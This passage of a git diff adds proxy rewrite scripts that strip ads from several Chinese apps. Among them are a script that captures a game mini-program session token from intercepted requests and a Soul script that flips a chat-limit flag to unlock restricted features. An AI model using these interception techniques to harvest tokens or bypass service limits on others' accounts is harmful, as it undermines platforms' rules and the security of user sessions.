+ + +**** +**---- end ----** +#### [回到顶部](#readme) + + diff --git a/Scripts/sheep/sheepGetToken.js b/Scripts/sheep/sheepGetToken.js new file mode 100644 index 00000000..1ee51c8f --- /dev/null +++ b/Scripts/sheep/sheepGetToken.js @@ -0,0 +1,58 @@ +/* author@fmz200 + 羊了个羊获取token,支持 微信和抖音小程序 + 重写地址:https://cat-match.easygame2021.com/sheep/v1/game/user_info, 触发类型:request-header + 进入小程序即可获取 + + quanX用户直接添加重写: + https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/sheep/sheepGetToken.conf, tag=羊了个羊获取token@fmz200, update-interval=172800, opt-parser=false, enabled=true +*/ +const $ = new API("sheepGetToken"); +!(async () => { + if ($.env.isNode) { + console.log('仅限iOS设备抓包用!'); + } else { + if ($request.url.indexOf('user_info') > -1) { + const referer = `${$request.headers['Referer']}`; + const source = referer.indexOf("toutiao") > 1 ? "抖音" : "微信"; + console.log('当前来源:' + source); + let token; + if (referer.indexOf("toutiao") > 1) { + // 抖音获取token + token = getQueryString($request.url, "t"); + $.write(token, '#sheepToken_dy'); + } else { + // 微信获取token + token = `${$request.headers['t']}`; + $.write(token, '#sheepToken_wx'); + } + if (token !== '' && token != null) { + $.notify(`成功💕💕羊了个羊获取${source}token`, '', token); + } else { + $.notify(`失败😅😅羊了个羊获取${source}token`, '', token); + } + console.log('token:' + token); + } + } + } +) +().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done({}); +}) + +function getQueryString(url, name) { + const vars = url.substring(url.indexOf('?') + 1).split("&"); + for (let item of vars) { + if (item.split("=")[0] == name) { + return item.split("=")[1]; + } + } + return null; +} + +/*********************************** API *************************************/ +function ENV(){const isQX=typeof $task!=="undefined";const isLoon=typeof $loon!=="undefined";const isSurge=typeof $httpClient!=="undefined"&&!isLoon;const isJSBox=typeof require=="function"&&typeof $jsbox!="undefined";const isNode=typeof require=="function"&&!isJSBox;const isRequest=typeof $request!=="undefined";const isScriptable=typeof importModule!=="undefined";return{isQX,isLoon,isSurge,isNode,isJSBox,isRequest,isScriptable}} +function HTTP(baseURL,defaultOptions={}){const{isQX,isLoon,isSurge,isScriptable,isNode}=ENV();const methods=["GET","POST","PUT","DELETE","HEAD","OPTIONS","PATCH"];function send(method,options){options=typeof options==="string"?{url:options}:options;options.url=baseURL?baseURL+options.url:options.url;options={...defaultOptions,...options};const timeout=options.timeout;const events={...{onRequest:()=>{},onResponse:(resp)=>resp,onTimeout:()=>{},},...options.events,};events.onRequest(method,options);let worker;if(isQX){worker=$task.fetch({method,...options})}else if(isLoon||isSurge||isNode){worker=new Promise((resolve,reject)=>{const request=isNode?require("request"):$httpClient;request[method.toLowerCase()](options,(err,response,body)=>{if(err)reject(err);else resolve({statusCode:response.status||response.statusCode,headers:response.headers,body,})})})}else if(isScriptable){const request=new Request(options.url);request.method=method;request.headers=options.headers;request.body=options.body;worker=new Promise((resolve,reject)=>{request.loadString().then((body)=>{resolve({statusCode:request.response.statusCode,headers:request.response.headers,body,})}).catch((err)=>reject(err))})}let timeoutid;const timer=timeout?new Promise((_,reject)=>{timeoutid=setTimeout(()=>{events.onTimeout();return reject(`${method}URL:${options.url}exceeds the timeout ${timeout}ms`)},timeout)}):null;return(timer?Promise.race([timer,worker]).then((res)=>{clearTimeout(timeoutid);return res}):worker).then((resp)=>events.onResponse(resp))}const http={};methods.forEach((method)=>(http[method.toLowerCase()]=(options)=>send(method,options)));return http} +function API(name="untitled",debug=false){const{isQX,isLoon,isSurge,isNode,isJSBox,isScriptable}=ENV();return new(class{constructor(name,debug){this.name=name;this.debug=debug;this.http=HTTP();this.env=ENV();this.node=(()=>{if(isNode){const fs=require("fs");return{fs}}else{return null}})();this.initCache();const delay=(t,v)=>new Promise(function(resolve){setTimeout(resolve.bind(null,v),t)});Promise.prototype.delay=function(t){return this.then(function(v){return delay(t,v)})}}initCache(){if(isQX)this.cache=JSON.parse($prefs.valueForKey(this.name)||"{}");if(isLoon||isSurge)this.cache=JSON.parse($persistentStore.read(this.name)||"{}");if(isNode){let fpath="root.json";if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err))}this.root={};fpath=`${this.name}.json`;if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err));this.cache={}}else{this.cache=JSON.parse(this.node.fs.readFileSync(`${this.name}.json`))}}}persistCache(){const data=JSON.stringify(this.cache);if(isQX)$prefs.setValueForKey(data,this.name);if(isLoon||isSurge)$persistentStore.write(data,this.name);if(isNode){this.node.fs.writeFileSync(`${this.name}.json`,data,{flag:"w"},(err)=>console.log(err));this.node.fs.writeFileSync("root.json",JSON.stringify(this.root),{flag:"w"},(err)=>console.log(err))}}write(data,key){this.log(`SET ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.write(data,key)}if(isQX){return $prefs.setValueForKey(data,key)}if(isNode){this.root[key]=data}}else{this.cache[key]=data}this.persistCache()}read(key){this.log(`READ ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.read(key)}if(isQX){return $prefs.valueForKey(key)}if(isNode){return this.root[key]}}else{return this.cache[key]}}delete(key){this.log(`DELETE ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){$persistentStore.write(null,key)}if(isQX){$prefs.removeValueForKey(key)}if(isNode){delete this.root[key]}}else{delete this.cache[key]}this.persistCache()}notify(title,subtitle="",content="",options={}){const openURL=options["open-url"];const mediaURL=options["media-url"];if(isQX)$notify(title,subtitle,content,options);if(isSurge){$notification.post(title,subtitle,content+`${mediaURL?"\n多媒体:"+mediaURL:""}`,{url:openURL})}if(isLoon){let opts={};if(openURL)opts["openUrl"]=openURL;if(mediaURL)opts["mediaUrl"]=mediaURL;if(JSON.stringify(opts)=="{}"){$notification.post(title,subtitle,content)}else{$notification.post(title,subtitle,content,opts)}}if(isNode||isScriptable){const content_=content+(openURL?`\n点击跳转:${openURL}`:"")+(mediaURL?`\n多媒体:${mediaURL}`:"");if(isJSBox){const push=require("push");push.schedule({title:title,body:(subtitle?subtitle+"\n":"")+content_,})}else{console.log(`${title}\n${subtitle}\n${content_}\n\n`)}}}log(msg){if(this.debug)console.log(msg)}info(msg){console.log(msg)}error(msg){console.log("ERROR: "+msg)}wait(millisec){return new Promise((resolve)=>setTimeout(resolve,millisec))}done(value={}){if(isQX||isLoon||isSurge){$done(value)}else if(isNode&&!isJSBox){if(typeof $context!=="undefined"){$context.headers=value.headers;$context.statusCode=value.statusCode;$context.body=value.body}}}})(name,debug)} +/*****************************************************************************/ diff --git a/Scripts/sheep/sheepGetToken.snippet b/Scripts/sheep/sheepGetToken.snippet new file mode 100644 index 00000000..c1d49de1 --- /dev/null +++ b/Scripts/sheep/sheepGetToken.snippet @@ -0,0 +1,4 @@ +hostname = cat-match.easygame2021.com + +# 羊了个羊获取token +https://cat-match.easygame2021.com/sheep/v1/game/user_info url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/sheep/sheepGetToken.js \ No newline at end of file diff --git a/Scripts/shunfeng/shunfeng.js b/Scripts/shunfeng/shunfeng.js new file mode 100644 index 00000000..a8bd8e7a --- /dev/null +++ b/Scripts/shunfeng/shunfeng.js @@ -0,0 +1,8 @@ + +const url = $request.url; +let new_body = JSON.parse($response.body); + +if (url.includes("app/ad/queryInfoFlow")) { + new_body.obj = Object.values(new_body.obj).filter((item) => item.adverId == 2833); +} +$done({body: JSON.stringify(new_body)}); diff --git a/Scripts/smzdm/Smzdm.js b/Scripts/smzdm/Smzdm.js new file mode 100644 index 00000000..aa11628e --- /dev/null +++ b/Scripts/smzdm/Smzdm.js @@ -0,0 +1,124 @@ +// 2024-09-08 20:59 +// 修改:2025-06-01 14:37:50 +const url = $request.url; + +if (!$response.body) { + $done({}); +} + +let obj = JSON.parse($response.body); + +if (url.includes("/v3/home")) { + const recursivelyFilterByCellType = (data) => { + if (Array.isArray(data)) { + return data.map(item => recursivelyFilterByCellType(item)).filter(Boolean); + } else if (typeof data === 'object') { + if (data['cell_type'] === '23008' || data['cell_type'] === '23005' || data['cell_type'] === '23024') { + return null; + } else { + for (const key in data) { + data[key] = recursivelyFilterByCellType(data[key]); + } + return data; + } + } + return data; + }; + + obj.data = recursivelyFilterByCellType(obj.data); +} + +const fixPos = (arr) => { + for (let i = 0; i < arr.length; i++) { + arr[i].pos = i + 1; + } +}; + +if (url.includes("/vip") && obj.data.big_banner) { + delete obj.data.big_banner; + delete obj.data.top_banner; + delete obj.data.yaoqingshaiwu; +} + +if (url.includes("/publish/get_bubble") && obj.data) { + delete obj.data; +} + +if (url.includes("/v3/home") && obj.data && obj.data.functions) { + obj.data.functions = obj.data.functions.filter((item) => item.type === "message"); + fixPos(obj.data.functions); +} + +if (obj && obj.data && obj.data.services) { + obj.data.services = obj.data.services.filter((item) => item.type === "articel_manage" || item.type === "199794" || item.type === "199796"); + fixPos(obj.data.services); +} + +if (url.includes("/vip/bottom_card_list") && obj.data.rows) { + delete obj.data.rows; +} + +if (url.includes("/v3/home")) { + obj.data.component = obj.data.component.filter((item) => + item.zz_type === "circular_banner" || item.zz_type === "fixed_banner" || item.zz_type === "filter" || item.zz_type === "list" + ); + fixPos(obj.data.component); +} + +if (url.includes("/util/update") && obj.data) { + if (obj.data.ad_black_list) { + delete obj.data.ad_black_list; + } + + if (obj && obj.data && obj.data.operation_float) { + delete obj.data.operation_float; + } + + if (obj.data.haojia_widget) { + delete obj.data.haojia_widget; + } +} + + +if (obj && obj.data && obj.data.widget) { + delete obj.data.widget; +} + +if (obj && obj.data && obj.data.operation_float_screen) { + delete obj.data.operation_float_screen; +} + +if (url.includes("/home/list") && obj.data.banner_v2) { + delete obj.data.banner_v2; +} + +if (obj?.data?.rows?.length > 0) { + obj.data.rows = obj.data.rows.filter( + (i) => !(i?.hasOwnProperty("ad_banner_id") || ["ad_campaign_id_", "ad_campaign_name", "abs_position"]?.includes(i?.ad)) + ); +} + +if (url.includes("/publish") && obj.data && obj.data.hongbao) { + delete obj.data.hongbao; +} + +if (url.includes("/loading") && obj && obj.data) { + delete obj.data; +} + +if (url.includes("/ajax_app/ajax_get_footer_list") && obj.data.activity_banner && obj.data.activity_banner.hot_widget) { + obj.data.activity_banner.hot_widget.forEach(widget => { + if (widget.pic_url) { + delete widget.pic_url; + } + }); +} + +if (url.includes("/v1/app/home") && obj.data) { + if (obj.data) { + obj.data = obj.data.filter((item) => item.id === "40" || item.id === "20"); + fixPos(obj.data); + } +} + +$done({ body: JSON.stringify(obj) }); \ No newline at end of file diff --git a/Scripts/smzdm/smzdm_ads.js b/Scripts/smzdm/smzdm_ads.js new file mode 100644 index 00000000..6e7d0f37 --- /dev/null +++ b/Scripts/smzdm/smzdm_ads.js @@ -0,0 +1,44 @@ +/** + * @author fmz200 + * @function 什么值得买去广告 + * @date 2025-06-04 09:11:00 + */ + +let requestUrl = $request.url; +let responseBody = $response.body; + +let obj = JSON.parse(responseBody); + +if (requestUrl.includes("/vip/creator_user_center")) { + obj.data = {}; + console.log('去除个人中心广告💕'); +} + +if (requestUrl.includes("/util/update")) { + obj.data.operation_float = []; + console.log('去除弹窗图片广告💕'); +} + +if (requestUrl.includes("/detail_modul/user_related_modul")) { + delete obj.data.super_coupon; + console.log('去除详情页广告💕'); +} + +if (requestUrl.includes("/ranking_list/articles?")) { + obj.data.rows = obj.data.rows.filter(item => item.model_type !== "ads"); + console.log('去除排行榜广告💕'); +} + +if (requestUrl.includes("/sou/list_v10")) { + obj.data.rows = obj.data.rows.filter(item => item.model_type !== "ads"); + console.log('去除搜索结果广告💕'); +} + +if (requestUrl.includes("/sou/filter/tags/hot_tags?")) { + obj.data.search_hot.home = obj.data.search_hot.home.filter(item => item.pos); + delete obj.data.tonglan; + delete obj.data.hongbao; + console.log('去除搜索热榜广告💕'); +} + +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/soda.js b/Scripts/soda.js new file mode 100644 index 00000000..c7660eb9 --- /dev/null +++ b/Scripts/soda.js @@ -0,0 +1,5 @@ +let obj = JSON.parse($response.body); +obj.data.objects.forEach(item => { + item.imageUrl = "https://raw.githubusercontent.com/fmz200/wool_scripts/main/pic/rewrite/warm_water.png"; +}); +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/soul/soul_ads.js b/Scripts/soul/soul_ads.js new file mode 100644 index 00000000..92519cff --- /dev/null +++ b/Scripts/soul/soul_ads.js @@ -0,0 +1,95 @@ +/** + * @author fmz200 + * @function 去除Soul的广告&解锁部分服务 + * @date 2024-06-13 00:20:00 + * @quote ZenmoFeiShi + */ + +const $ = new Env("soul去广告"); +let req_url = $request.url; +let rsp_body = "{}"; +// 检查 $response 是否已定义 +if (typeof $response !== 'undefined' && $response !== null) { + // 如果 $response 已定义且不为 null,则使用 $response.body + rsp_body = $response.body; +} + +let mod_rsp = rsp_body; +try { + mod_rsp = JSON.parse(rsp_body); + + const shouldDeleteData = + req_url.includes("/post/homepage/guide/card") || + req_url.includes("/furion/position/content") || + req_url.includes("/hot/soul/rank") || + req_url.includes("/post/gift/list") || + req_url.includes("/mobile/app/version/queryIos") || + req_url.includes("/teenager/config") || + req_url.includes("/winterfell/v2/getIpByDomain") || + req_url.includes("/official/scene/module"); + + const shouldModifyLimitInfo = req_url.includes("/chat/limitInfo") && mod_rsp.data && mod_rsp.data.limit !== undefined; + + // 删除响应体中的data + if (mod_rsp.data && shouldDeleteData) { + delete mod_rsp.data; + } + + // 解除限制 + if (shouldModifyLimitInfo) { + mod_rsp.data.limit = false; + } + + if (req_url.includes("/v6/planet/config")) { + const gamesToRemove = [ + "异世界回响", "狼人魅影", "梦想海岛王", "幻想星球", "爆弹喵", "星球实验室", "兴趣群组", "群聊派对" + ]; + + if (mod_rsp.data?.gameInfo && Array.isArray(mod_rsp.data.gameInfo.gameCards)) { + mod_rsp.data.gameInfo.gameCards = mod_rsp.data.gameInfo.gameCards.filter(card => !gamesToRemove.includes(card.title)); + } + + if (mod_rsp.data && Array.isArray(mod_rsp.data.coreCards)) { + mod_rsp.data.coreCards = mod_rsp.data.coreCards.filter(card => !gamesToRemove.includes(card.title)); + mod_rsp.data.coreCards.forEach(card => { + if (card.secondCards && Array.isArray(card.secondCards)) { + card.secondCards = card.secondCards.filter(sc => !gamesToRemove.includes(sc.title)); + } + }); + } + } + + if (mod_rsp.data?.coreCards && Array.isArray(mod_rsp.data.coreCards)) { + mod_rsp.data.coreCards = mod_rsp.data.coreCards.map(card => { + if (card.style === 2) { + card.style = 1; + } + return card; + }); + } + + if (req_url.includes("/chatroom/chatClassifyRoomList")) { + if (mod_rsp.data?.roomList) { + // mod_rsp.data.roomList = []; + } + } + + if (req_url.includes("/post/recSquare/subTabs")) { + // mod_rsp.data = mod_rsp.data.filter(item => [7, 6, 2].includes(item.tabType)); + } +} catch (error) { + console.log('脚本运行出现错误,部分广告未去除⚠️错误信息:' + error.message); +} + +/* +$done()方法参数说明: + $done(): 不传任何参数,表示放弃该请求,请求连接会直接断开 + $done({}): 空js对象,请求继续,任何请求参数不会有任何变化 + $done({ status:200, headers:{}, body:"xxx" }) + */ +$.done({body: JSON.stringify(mod_rsp)}); + + +/*********************************** ENV *************************************/ +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +/*****************************************************************************/ diff --git a/Scripts/stay.js b/Scripts/stay.js new file mode 100644 index 00000000..dcaae46a --- /dev/null +++ b/Scripts/stay.js @@ -0,0 +1,5 @@ +let new_body = JSON.parse($response.body); +if (new_body.biz) { + new_body.biz = Object.values(new_body.biz).filter(item => item["type"] !== "promoted"); +} +$done({body: JSON.stringify(new_body)}); \ No newline at end of file diff --git a/Scripts/template/reject-dict.json b/Scripts/template/reject-dict.json new file mode 100644 index 00000000..9e26dfee --- /dev/null +++ b/Scripts/template/reject-dict.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/Scripts/template/req_replace_body.js b/Scripts/template/req_replace_body.js new file mode 100644 index 00000000..096d138e --- /dev/null +++ b/Scripts/template/req_replace_body.js @@ -0,0 +1,9 @@ +/** + * author:fmz200 + * date:2023-10-09 22:55:00 + * function:部分APP收集用户信息,将上传的内容换成无效内容 + */ +// oops, nothing here and fuck you. +// 4cb5ca2f450cad350d0a03fbc9231e6f +let body = {content: "oops, nothing here and fuck you. Collecting user privacy is suspected of being illegal."}; +$done({body:JSON.stringify(body)}); diff --git a/Scripts/template/req_replace_url_headers.js b/Scripts/template/req_replace_url_headers.js new file mode 100644 index 00000000..4bd7c91e --- /dev/null +++ b/Scripts/template/req_replace_url_headers.js @@ -0,0 +1,14 @@ +/** + * @author fmz200 + * @date 2024-01-22 21:03:00 + * @function 部分APP收集用户信息,将上传的URL和body内容换成无效内容 